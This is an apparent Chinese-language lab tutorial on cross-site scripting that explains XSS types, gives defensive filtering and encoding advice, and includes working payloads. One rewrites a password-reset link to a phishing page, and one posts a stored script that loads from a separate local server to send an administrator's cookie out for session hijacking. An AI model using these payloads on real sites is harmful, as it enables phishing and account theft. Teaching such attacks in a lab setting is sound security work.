XSS的簡單介紹
- 跨站腳本攻擊(Cross Site Scripting),爲不和層疊樣式表(Cascading Style Sheets,CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意Script代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行,從而達到惡意攻擊用戶目的。
- XSS危害:
- 流量劫持
- 獲取用戶cookie信息,盜取帳號
- 篡改、刪除頁面信息(釣魚)
- 配合CSRF攻擊,實施進一步攻擊
- XSS分類
- 反射型XSS:反射型XSS也被稱爲非持久性XSS,當用戶訪問一個帶有XSS代碼的HTML請求時,服務器端接收數據後處理,而後把帶有XSS的數據發送到瀏覽器,瀏覽器解析這段帶有XSS代碼的數據後,就形成XSS漏洞,這個過程就像一次反射,因此叫反射型XSS。
- 存儲型XSS:存儲型XSS又被稱爲持久性XSS,存儲型XSS是最危險的一種跨站腳本漏洞,當攻擊者提交一段 XSS代碼後,被服務端接收並存儲,當攻擊者或用戶再次訪問某個頁面時,這段XSS代碼被程序讀出來響應給瀏覽器,形成XSS跨站攻擊,這是存儲型XSS。
- DOM型:不通過後端,DOM—based XSS漏洞是基於文檔對象模型Document Objeet Model,DOM)的一種漏洞,dom - xss是經過url傳入參數去控制觸發的。
實驗場景一:釣魚攻擊
任務一:
測試管理界面是否存在XSSphp
小提示:提示錯誤url會返回username的值,閉合先後標籤後端
在用戶名框中輸入"><script>alert(2)</script>(閉合input標籤)瀏覽器
結果,界面彈窗,證實該系統存在XSS注入服務器
任務二:
上一步驗證得出,該頁面存在XSS漏洞。接下來針對該漏洞進行修改連接屬性實現跳轉到釣魚界面cookie
在username=後面加上"><script>document.getElementsByTagName("body")[0].onload=function changeLink(){document.getElementById("myId").href='http://127.0.0.1:8082/wjmm.php';}</script><a(修改忘記密碼a標籤的href,使其指向釣魚網站)dom
點擊忘記密碼,進入了釣魚網站xss
實驗場景二:盜取cookie
任務一:
將js代碼</textarea>'"><script src=http://127.0.0.1:8081/xss/cGMiSw?1555397544></script>; 發表在文章管理系統的留言板上(該地址指向存放接收信息的服務器上的js路徑)測試
任務二:
當後臺管理員審覈留言(或者其餘用戶查看到該留言)時,觸發頁面執行js腳本,將瀏覽器的cookie發送到接收服務器網站
收到cookie後,手動給瀏覽器添加對應cookie編碼
實現僞造管理員(用戶)登陸
XSS漏洞防範
- XSS的威力主要是取決於JavaScript可以實現的程度,XSS跨站腳本的造成緣由是對輸入輸出沒有嚴格過濾,致使在頁面上能夠執行JavaScript等客戶端代碼,因此只要將敏感字符過濾,就能夠修復XSS跨站漏洞。
- 修復和防範方法:
- 三種類型的XSS漏洞均可以經過過濾或編碼進行修復。
- 反射型XSS和存儲型XSS能夠在服務端對用戶輸入輸出的內容過濾和編碼操做,將關鍵字進行過濾處理,關鍵符號進行編碼處理,如將全部on事件,script等關鍵字進行過濾,將全部<,>,」,’,=等特殊符號進行實體化編碼或url編碼即可以修復。
- DOM型XSS若有在服務端進行交互,也可參考上述的方法進行修復,如未和服務端進行交互,可在客戶端使用JavaScript等客戶端腳本語言進行編碼和過濾處理。